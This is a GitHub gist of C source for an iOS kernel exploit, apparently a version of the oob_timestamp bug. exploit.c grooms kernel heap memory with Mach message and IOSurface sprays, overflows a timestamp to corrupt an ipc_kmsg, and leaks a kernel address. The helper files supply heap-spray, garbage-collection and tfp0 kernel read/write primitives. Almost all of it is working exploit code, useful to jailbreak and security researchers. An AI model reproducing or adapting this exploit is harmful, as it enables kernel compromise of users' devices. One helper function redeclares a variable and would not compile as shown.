-
-
Save TempAccountNull/25b33a1646239293dcd1682f915c9c9b to your computer and use it in GitHub Desktop.
leak address of segment_list in oob_timestamp
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// exploit.c | |
// extra_time | |
// | |
// Created by Jake James on 2/8/20. | |
// Copyright © 2020 Jake James. All rights reserved. | |
// | |
#include "exploit.h" | |
#include "IOAccelerator_stuff.h" | |
#include "exploit_utilities.h" | |
#include "kernel_memory.h" | |
#include "iosurface.h" | |
#include "kernel_alloc.h" | |
uint64_t kernel_slide; | |
uint64_t proc_of_pid(int pid) { | |
uint64_t proc = rk64(0xfffffff007766b60 + kernel_slide); | |
while (proc) { | |
int p = rk32(proc + 0x68); | |
if (pid == p) return proc; | |
proc = rk64(proc + 8); | |
} | |
return 0; | |
} | |
uint64_t find_port_address(mach_port_t port) { | |
uint64_t proc = proc_of_pid(getpid()); | |
uint64_t task = rk64(proc + 0x10); | |
uint64_t itk_space = rk64(task + 0x320); | |
uint64_t is_table = rk64(itk_space + 0x20); | |
uint64_t port_addr = rk64(is_table + (port >> 8) * 0x18); | |
return port_addr; | |
} | |
void list_messages_in_port(mach_port_t port) { | |
if (!port) return; | |
uint64_t port_addr = find_port_address(port); | |
if (!port_addr) return; | |
uint64_t kmsg = rk64(port_addr + 0x40); | |
if (kmsg) { | |
printf("[i] Found message: 0x%llx\n", kmsg); | |
} | |
else { | |
return; | |
} | |
uint64_t old_kmsg = kmsg; | |
kmsg = rk64(kmsg + 8); | |
while (kmsg != old_kmsg) { | |
printf("[i] Found message: 0x%llx\n", kmsg); | |
kmsg = rk64(kmsg + 8); | |
} | |
} | |
uint64_t get_latest_message(mach_port_t port) { | |
if (!port) return 0; | |
uint64_t port_addr = find_port_address(port); | |
if (!port_addr) return 0; | |
uint64_t kmsg = rk64(port_addr + 0x40); | |
if (!kmsg) { | |
return 0; | |
} | |
return rk64(kmsg + 16); | |
} | |
struct simple_kmsg *read_kmsg(uint64_t kmsg) { | |
if (!kmsg) return 0; | |
uint64_t ikm_header = rk64(kmsg + 24); | |
if (!ikm_header) return 0; | |
mach_msg_size_t msg_size = rk32(kmsg + offsetof(kern_mach_msg_header_t, msgh_size)); | |
struct simple_kmsg *msg = malloc(msg_size); | |
kread(ikm_header, msg, msg_size); | |
return msg; | |
} | |
// finds kernel address of a shared memory buffer created using IOAccelerator based on shmem_id | |
uint64_t addr_for_shmem_id(uint32_t id) { | |
uint64_t IOAccelCommandQueue2_port_addr = find_port_address(IOAccelCommandQueue2); | |
uint64_t IOAccelCommandQueue2_addr = rk64(IOAccelCommandQueue2_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); | |
uint64_t IOAccelShared2_addr = rk64(IOAccelCommandQueue2_addr + 1464); | |
uint64_t IOAccelNamespace_addr = rk64(IOAccelShared2_addr + 136); | |
uint64_t addr = rk64(rk64(IOAccelNamespace_addr + 16) + 8 * id); | |
uint64_t smth = rk64(addr + 48); | |
uint64_t data = smth ? rk64(smth + 40) : 0; | |
return data; | |
} | |
// get all_properties property from an IOSurfaceRootUserClient mach port. this is an OSDictionary * where all properties are set using setValue | |
uint64_t get_all_properties(mach_port_t IOSurfaceRootUserClient) { | |
uint64_t IOSRUC_port_addr = find_port_address(IOSurfaceRootUserClient); // struct ipc_port * | |
uint64_t IOSRUC_addr = rk64(IOSRUC_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // IOSurfaceRootUserClient * | |
uint64_t IOSC_addr = rk64(rk64(IOSRUC_addr + 280) + 8 * IOSurface_id); // IOSurfaceClient * | |
uint64_t IOSurface_addr = rk64(IOSC_addr + 64); // IOSurface * | |
uint64_t all_properties = rk64(IOSurface_addr + 232); // OSDictionary * | |
return all_properties; | |
} | |
uint64_t OSDictionary_objectForKey(uint64_t dict, char *key) { | |
uint64_t dict_buffer = rk64(dict + 32); // void * | |
int i = 0; | |
uint64_t key_sym = 0; | |
do { | |
key_sym = rk64(dict_buffer + i); // OSSymbol * | |
uint64_t key_buffer = rk64(key_sym + 16); // char * | |
if (!kstrcmp_u(key_buffer, key)) { | |
return rk64(dict_buffer + i + 8); | |
} | |
i += 16; | |
} | |
while (key_sym); | |
return 0; | |
} | |
uint64_t OSArray_objectAtIndex(uint64_t array, int idx) { | |
uint64_t array_buffer = rk64(array + 32); // void * | |
return rk64(array_buffer + idx * 8); | |
} | |
uint64_t address_of_property_key(mach_port_t IOSurfaceRootUserClient, uint32_t key) { | |
uint64_t all_properties = get_all_properties(IOSurfaceRootUserClient); | |
char *skey = malloc(5); | |
memcpy(skey, &key, 4); | |
uint64_t value = OSDictionary_objectForKey(all_properties, skey); | |
free(skey); | |
return value; | |
} | |
bool IOSurface_get_value(const struct IOSurfaceValueArgs *in, size_t in_size, struct IOSurfaceValueArgs *out, size_t *out_size); | |
bool IOSurface_set_value(const struct IOSurfaceValueArgs *args, size_t args_size); | |
extern mach_port_t IOSurfaceRootUserClient; | |
#define DEBUG 0 | |
int get_tfp0() { | |
kern_return_t kr; | |
mach_port_t tfp0; | |
kr = host_get_special_port(mach_host_self(), HOST_LOCAL_NODE, 4, &tfp0); | |
if (!kr) { | |
printf("[+] Got cached tfp0: 0x%x\n", tfp0); | |
init_kernel_memory(tfp0); | |
struct task_dyld_info info; | |
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT; | |
task_info(tfp0, TASK_DYLD_INFO, (task_info_t) &info, &count); | |
kernel_slide = info.all_image_info_size; | |
} | |
// else return 0; | |
#define MB 1024 * 1024 | |
offsets_init(); | |
init_IOSurface(); | |
init_IOAccelerator(); | |
// prepare things like bazad | |
struct holding_port_array holding_ports = holding_ports_create(200); | |
struct ipc_kmsg_kalloc_fragmentation_spray fragmentation_spray; | |
ipc_kmsg_kalloc_fragmentation_spray_(&fragmentation_spray, | |
7 * pagesize, // 7-page kalloc allocations | |
120 * MB, // 120 MB total spray | |
10 * MB, // 10 MB per port | |
&holding_ports); | |
ipc_kmsg_kalloc_fragmentation_spray_fragment_memory_(&fragmentation_spray, 30 * MB, +1); | |
ipc_kmsg_kalloc_fragmentation_spray_fragment_memory_(&fragmentation_spray, 30 * MB, -1); | |
struct ipc_kmsg_kalloc_spray kalloc_8page_spray; | |
ipc_kmsg_kalloc_spray_(&kalloc_8page_spray, | |
NULL, // Zero-fill the message data. | |
8 * pagesize, // 8-page kalloc allocations. | |
200 * MB, // 200 MB total spray. | |
0, // Max spray size per port. | |
&holding_ports); | |
uint32_t iosurface_property = 0; | |
uint32_t huge_kalloc_key = IOSurface_property_key(iosurface_property++); | |
bool ok = IOSurface_kalloc_fast(huge_kalloc_key, 82 * MB); | |
// check ... | |
#if DEBUG | |
uint64_t huge_kalloc_addr = address_of_property_key(IOSurfaceRootUserClient, huge_kalloc_key); | |
printf("[i] huge_kalloc: 0x%llx\n", huge_kalloc_addr); | |
#endif | |
// setup vuln | |
struct IOAccelDeviceShmemData cmdbuf, seglist; | |
alloc_shmem(96 * MB, &cmdbuf, &seglist); | |
#if DEBUG | |
uint64_t seglist_addr = addr_for_shmem_id(seglist.shmem_id); | |
uint64_t cmdbuf_addr = addr_for_shmem_id(cmdbuf.shmem_id); | |
printf("[i] Segment list: 0x%llx\n", seglist_addr); | |
printf("[i] Command buffer: 0x%llx\n", cmdbuf_addr); | |
#endif | |
// now: | |
// ------------------+------------------+------------------+---------------- | |
// huge kalloc | segment list | command buffer | | |
// ------------------+------------------+------------------+---------------- | |
// | |
// the mach message that will be corrupted | |
mach_port_t corrupted_kmsg_port = holding_port_pop(&holding_ports); | |
void *data = malloc(8 * pagesize); | |
memset(data, 0, 8 * pagesize); | |
send_message(corrupted_kmsg_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg)); | |
#if DEBUG | |
uint64_t corrupted_message = get_latest_message(corrupted_kmsg_port); | |
printf("[i] ipc_kmsg: 0x%llx\n", corrupted_message); | |
#endif | |
// now: | |
// ------------------+------------------+------------------+-----------------+----------- | |
// huge kalloc | segment list | command buffer | struct ipc_kmsg | | |
// ------------------+------------------+------------------+-----------------+----------- | |
// | |
mach_port_t placeholder_message_port = holding_port_pop(&holding_ports); | |
send_message(placeholder_message_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg)); | |
#if DEBUG | |
uint64_t placeholder_message = get_latest_message(placeholder_message_port); | |
printf("[i] ipc_kmsg 2: 0x%llx\n", placeholder_message); | |
#endif | |
// now: | |
// ------------------+------------------+------------------+-----------------+------------------- | |
// huge kalloc | segment list | command buffer | struct ipc_kmsg | struct ipc_kmsg 2 | |
// ------------------+------------------+------------------+-----------------+------------------- | |
// | |
void *spray_buffer = ((uint8_t *) cmdbuf.data) + pagesize; | |
size_t spray_size = 96 * MB - pagesize; | |
IOSurface_remove_property(huge_kalloc_key); | |
// now: | |
// ------------+------------------+------------------+-----------------+------------------- | |
// free | segment list | command buffer | struct ipc_kmsg | struct ipc_kmsg 2 | |
// ------------+------------------+------------------+-----------------+------------------- | |
// | |
uint32_t kfree_buffer_key = IOSurface_property_key(iosurface_property++); | |
ok = IOSurface_kmem_alloc_array_fast_prepare_(8 * pagesize, 80 * MB, spray_buffer, &spray_size, | |
^(void *data, size_t index) { | |
*(uint64_t *)(data) = 0x4141414100000000 + index; | |
}); | |
ok = IOSurface_kmem_alloc_array_fast(kfree_buffer_key, spray_buffer, spray_size); | |
mach_port_destroy(mach_task_self(), placeholder_message_port); | |
// now: | |
// +------------------+------------------+-----------------+--------+---------------+ | |
// | segment list | command buffer | struct ipc_kmsg | free | 0x41414141... | | |
// +------------------+------------------+-----------------+--------+---------------+ | |
// | |
uint32_t spray_key = IOSurface_property_key(iosurface_property++); | |
ok = IOSurface_kmem_alloc_array_fast_prepare_(8 * pagesize, 80 * MB, spray_buffer, &spray_size, | |
^(void *data, size_t index) { | |
*(uint64_t *)(data) = 0x1337133700000000 + index; | |
}); | |
ok = IOSurface_kmem_alloc_array_fast(spray_key, spray_buffer, spray_size); | |
// now: | |
// +------------------+------------------+-----------------+---------------+-------------- | |
// | segment list | command buffer | struct ipc_kmsg | 0x13371337... | 0x41414141... | |
// +------------------+------------------+-----------------+---------------+-------------- | |
// | |
#if DEBUG | |
printf("[i] sprayed: 0x%llx\n", rk64(placeholder_message)); | |
#endif | |
size_t (^compute_overflow_size_for_timestamp)(uint64_t) = ^size_t(uint64_t ts) { | |
if (0x000000000003ffa8 < ts && ts <= 0x0000000003ffa8ff) { | |
return 8; | |
} | |
if (0x0000000003ffa8ff < ts && ts <= 0x00000003ffa8ffff) { | |
return 7; | |
} | |
if (0x00000003ffa8ffff < ts && ts <= 0x000003ffa8ffffff) { | |
return 6; | |
} | |
if (0x000003ffa8ffffff < ts && ts <= 0x0003ffa8ffffffff) { | |
return 5; | |
} | |
if (0x0003ffa8ffffffff < ts && ts <= 0x03ffa8ffffffffff) { | |
return 4; | |
} | |
if (0x03ffa8ffffffffff < ts && ts <= 0xfffffffffffeffff) { | |
return 3; | |
} | |
assert(ts <= 0x000000000003ffa8 || ts > 0xfffffffffffeffff); | |
return 0; | |
}; | |
bool (^check_overflow_size_for_timestamp)(uint64_t, size_t) = ^bool(uint64_t ts, size_t overflow_size) { | |
assert(3 <= overflow_size && overflow_size <= 8); | |
uint32_t ipc_kmsg_size = (uint32_t) (ts >> (8 * (8 - overflow_size))); | |
assert(0x0003ffa9 <= ipc_kmsg_size); | |
return (0x0003ffa9 <= ipc_kmsg_size && ipc_kmsg_size <= 0x0400a8ff); | |
}; | |
size_t overflow_size = 0; | |
retry_overflow: | |
overflow_size = compute_overflow_size_for_timestamp(mach_absolute_time()); | |
if (overflow_size == 0) { | |
sleep(1); | |
goto retry_overflow; | |
} | |
overflow_n_bytes(96 * MB, (int)overflow_size, &cmdbuf, &seglist); | |
ok = check_overflow_size_for_timestamp(mach_absolute_time(), overflow_size); | |
if (!ok) { | |
printf("[-] Retrying corruption...\n"); | |
goto retry_overflow; | |
} | |
printf("[+] Corrupted ipc_kmsg ikm_size\n"); | |
mach_port_destroy(mach_task_self(), corrupted_kmsg_port); | |
corrupted_kmsg_port = holding_port_pop(&holding_ports); | |
printf("[+] Freed kmsg\n"); | |
for (int i = 0; i < 1000; i++) { | |
send_message(corrupted_kmsg_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg)); | |
} | |
#if DEBUG | |
printf("[i] sprayed: 0x%llx\n", rk64(placeholder_message)); | |
#endif | |
struct { | |
uint32_t surface_id; | |
uint32_t field_4; | |
uint32_t key; | |
} *in = malloc(12); | |
in->surface_id = IOSurface_id; | |
in->key = spray_key; | |
size_t out_size = spray_size; | |
IOSurface_get_value((struct IOSurfaceValueArgs *)in, 12, spray_buffer, &out_size); | |
uint32_t ikm_size = 0x1ffa8; | |
void *ipc_kmsg = memmem(spray_buffer, out_size, &ikm_size, sizeof(ikm_size)); | |
uint64_t ikm_header = *(uint64_t*)(ipc_kmsg + 24); | |
printf("[+] ikm_header leak: 0x%llx\n", ikm_header); | |
printf("[+] Segment list calculated to be at: 0x%llx\n", ikm_header - 0xc028028); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// exploit_utilities.c | |
// sock_port | |
// | |
// Created by Jake James on 7/17/19. | |
// Copyright © 2019 Jake James. All rights reserved. | |
// | |
#include "exploit_utilities.h" | |
// from Ian Beer. make a kernel allocation with the kernel address of 'target_port', 'count' times | |
mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) { | |
mach_port_t q = MACH_PORT_NULL; | |
kern_return_t err; | |
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q); | |
if (err != KERN_SUCCESS) { | |
printf("[-] failed to allocate port\n"); | |
return 0; | |
} | |
mach_port_t* ports = malloc(sizeof(mach_port_t) * count); | |
for (int i = 0; i < count; i++) { | |
ports[i] = target_port; | |
} | |
struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg)); | |
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); | |
msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg); | |
msg->hdr.msgh_remote_port = q; | |
msg->hdr.msgh_local_port = MACH_PORT_NULL; | |
msg->hdr.msgh_id = 0x41414141; | |
msg->body.msgh_descriptor_count = 1; | |
msg->ool_ports.address = ports; | |
msg->ool_ports.count = count; | |
msg->ool_ports.deallocate = 0; | |
msg->ool_ports.disposition = disposition; | |
msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; | |
msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY; | |
err = mach_msg(&msg->hdr, | |
MACH_SEND_MSG|MACH_MSG_OPTION_NONE, | |
msg->hdr.msgh_size, | |
0, | |
MACH_PORT_NULL, | |
MACH_MSG_TIMEOUT_NONE, | |
MACH_PORT_NULL); | |
if (err != KERN_SUCCESS) { | |
printf("[-] failed to send message: %s\n", mach_error_string(err)); | |
return MACH_PORT_NULL; | |
} | |
return q; | |
} | |
mach_port_t new_mach_port() { | |
mach_port_t port = MACH_PORT_NULL; | |
kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); | |
if (ret) { | |
printf("[-] failed to allocate port\n"); | |
return MACH_PORT_NULL; | |
} | |
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); | |
if (ret) { | |
printf("[-] failed to insert right\n"); | |
mach_port_destroy(mach_task_self(), port); | |
return MACH_PORT_NULL; | |
} | |
mach_port_limits_t limits = {0}; | |
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE; | |
ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT); | |
if (ret) { | |
printf("[-] failed to increase queue limit\n"); | |
mach_port_destroy(mach_task_self(), port); | |
return MACH_PORT_NULL; | |
} | |
return port; | |
} | |
kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) { | |
mach_msg_size_t msg_size = sizeof(struct simple_msg) + size; | |
struct simple_msg *msg = malloc(msg_size); | |
memset(msg, 0, sizeof(struct simple_msg)); | |
msg->hdr.msgh_remote_port = destination; | |
msg->hdr.msgh_local_port = MACH_PORT_NULL; | |
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); | |
msg->hdr.msgh_size = msg_size; | |
memcpy(&msg->buf[0], buffer, size); | |
kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); | |
if (ret) { | |
printf("[-] failed to send message\n"); | |
mach_port_destroy(mach_task_self(), destination); | |
free(msg); | |
return ret; | |
} | |
free(msg); | |
return KERN_SUCCESS; | |
} | |
struct simple_msg* receive_message(mach_port_t source, mach_msg_size_t size) { | |
mach_msg_size_t msg_size = sizeof(struct simple_msg) + size; | |
struct simple_msg *msg = malloc(msg_size); | |
memset(msg, 0, sizeof(struct simple_msg)); | |
mach_msg_size_t msg_size = sizeof(struct simple_msg) + size; | |
kern_return_t ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, msg_size, source, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); | |
if (ret) { | |
printf("[-] failed to receive message\n"); | |
return NULL; | |
} | |
return msg; | |
} | |
// Ian Beer | |
size_t message_size_for_kalloc_size(size_t kalloc_size) { | |
return ((3 * kalloc_size) / 4) - 0x74; | |
} | |
// Ian Beer | |
mach_port_t send_kalloc_message(uint8_t *replacer_message_body, uint32_t replacer_body_size) { | |
mach_port_t q = MACH_PORT_NULL; | |
kern_return_t err; | |
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q); | |
if (err != KERN_SUCCESS) { | |
printf("[-] failed to allocate port\n"); | |
return MACH_PORT_NULL; | |
} | |
mach_port_limits_t limits = {0}; | |
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE; | |
err = mach_port_set_attributes(mach_task_self(), | |
q, | |
MACH_PORT_LIMITS_INFO, | |
(mach_port_info_t)&limits, | |
MACH_PORT_LIMITS_INFO_COUNT); | |
if (err != KERN_SUCCESS) { | |
printf("[-] failed to increase queue limit\n"); | |
return MACH_PORT_NULL; | |
} | |
mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size; | |
struct simple_msg *msg = (struct simple_msg *)malloc(msg_size); | |
memset(msg, 0, sizeof(struct simple_msg)); | |
memcpy(&msg->buf[0], replacer_message_body, replacer_body_size); | |
for (int i = 0; i < 256; i++) { | |
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); | |
msg->hdr.msgh_size = msg_size; | |
msg->hdr.msgh_remote_port = q; | |
msg->hdr.msgh_local_port = MACH_PORT_NULL; | |
msg->hdr.msgh_id = 0x41414142; | |
err = mach_msg(&msg->hdr, | |
MACH_SEND_MSG|MACH_MSG_OPTION_NONE, | |
msg_size, | |
0, | |
MACH_PORT_NULL, | |
MACH_MSG_TIMEOUT_NONE, | |
MACH_PORT_NULL); | |
if (err != KERN_SUCCESS) { | |
printf("[-] failed to send message %x (%d): %s\n", err, i, mach_error_string(err)); | |
return MACH_PORT_NULL; | |
} | |
} | |
return q; | |
} | |
// rest is from machswap | |
void trigger_gc() { | |
const int gc_ports_cnt = 100; | |
int gc_ports_max = gc_ports_cnt; | |
mach_port_t gc_ports[gc_ports_cnt] = { 0 }; | |
uint32_t body_size = (uint32_t)message_size_for_kalloc_size(16384) - sizeof(mach_msg_header_t); // 1024 | |
uint8_t *body = (uint8_t*)malloc(body_size); | |
memset(body, 0x41, body_size); | |
for (int i = 0; i < gc_ports_cnt; i++) { | |
uint64_t t0, t1; | |
t0 = mach_absolute_time(); | |
gc_ports[i] = send_kalloc_message(body, body_size); | |
t1 = mach_absolute_time(); | |
if (t1 - t0 > 1000000) { | |
printf("[+] got gc at %d -- breaking\n", i); | |
gc_ports_max = i; | |
break; | |
} | |
} | |
for (int i = 0; i < gc_ports_max; i++) { | |
mach_port_destroy(mach_task_self(), gc_ports[i]); | |
} | |
sched_yield(); | |
sleep(1); | |
} | |
mach_vm_size_t pagesize = 0; | |
const uint64_t IOSURFACE_CREATE_SURFACE = 0; | |
const uint64_t IOSURFACE_SET_VALUE = 9; | |
const uint64_t IOSURFACE_GET_VALUE = 10; | |
const uint64_t IOSURFACE_DELETE_VALUE = 11; | |
int init_IOSurface() { | |
kern_return_t ret = KERN_SUCCESS; | |
ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize); | |
printf("[i] page size: 0x%llx, %s\n", pagesize, mach_error_string(ret)); | |
if (ret != KERN_SUCCESS) { | |
printf("[-] failed to get page size! ret: %x %s\n", ret, mach_error_string(ret)); | |
return ret; | |
} | |
return !IOSurface_init(); | |
} | |
void deinit_IOSurface() { | |
IOSurface_deinit(); | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// kernel_memory.c | |
// sock_port | |
// | |
// Created by Jake James on 7/18/19. | |
// Copyright © 2019 Jake James. All rights reserved. | |
// | |
#include "kernel_memory.h" | |
static mach_port_t tfpzero; | |
void init_kernel_memory(mach_port_t tfp0) { | |
tfpzero = tfp0; | |
} | |
uint64_t kalloc(vm_size_t size) { | |
mach_vm_address_t address = 0; | |
mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); | |
return address; | |
} | |
void kfree(mach_vm_address_t address, vm_size_t size) { | |
mach_vm_deallocate(tfpzero, address, size); | |
} | |
size_t kread(uint64_t where, void *p, size_t size) { | |
int rv; | |
size_t offset = 0; | |
while (offset < size) { | |
mach_vm_size_t sz, chunk = 2048; | |
if (chunk > size - offset) { | |
chunk = size - offset; | |
} | |
rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); | |
if (rv || sz == 0) { | |
printf("[-] error on kread(0x%016llx)\n", where); | |
break; | |
} | |
offset += sz; | |
} | |
return offset; | |
} | |
uint32_t rk32(uint64_t where) { | |
uint32_t out; | |
kread(where, &out, sizeof(uint32_t)); | |
return out; | |
} | |
uint64_t rk64(uint64_t where) { | |
uint64_t out; | |
kread(where, &out, sizeof(uint64_t)); | |
return out; | |
} | |
size_t kwrite(uint64_t where, const void *p, size_t size) { | |
int rv; | |
size_t offset = 0; | |
while (offset < size) { | |
size_t chunk = 2048; | |
if (chunk > size - offset) { | |
chunk = size - offset; | |
} | |
rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk); | |
if (rv) { | |
printf("[-] error on kwrite(0x%016llx)\n", where); | |
break; | |
} | |
offset += chunk; | |
} | |
return offset; | |
} | |
void wk32(uint64_t where, uint32_t what) { | |
uint32_t _what = what; | |
kwrite(where, &_what, sizeof(uint32_t)); | |
} | |
void wk64(uint64_t where, uint64_t what) { | |
uint64_t _what = what; | |
kwrite(where, &_what, sizeof(uint64_t)); | |
} | |
unsigned long kstrlen(uint64_t string) { | |
if (!string) return 0; | |
unsigned long len = 0; | |
char ch = 0; | |
int i = 0; | |
while (true) { | |
kread(string + i, &ch, 1); | |
if (!ch) break; | |
len++; | |
i++; | |
} | |
return len; | |
} | |
int kstrcmp(uint64_t string1, uint64_t string2) { | |
unsigned long len1 = kstrlen(string1); | |
unsigned long len2 = kstrlen(string2); | |
char *s1 = malloc(len1); | |
char *s2 = malloc(len2); | |
kread(string1, s1, len1); | |
kread(string2, s2, len2); | |
int ret = strcmp(s1, s2); | |
free(s1); | |
free(s2); | |
return ret; | |
} | |
int kstrcmp_u(uint64_t string1, char *string2) { | |
unsigned long len1 = kstrlen(string1); | |
char *s1 = malloc(len1); | |
kread(string1, s1, len1); | |
int ret = strcmp(s1, string2); | |
free(s1); | |
return ret; | |
} | |
uint64_t find_port(mach_port_name_t port, uint64_t task_self) { | |
uint64_t task_addr = rk64(task_self + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); | |
uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); | |
uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); | |
uint32_t port_index = port >> 8; | |
const int sizeof_ipc_entry_t = 0x18; | |
uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t)); | |
return port_addr; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment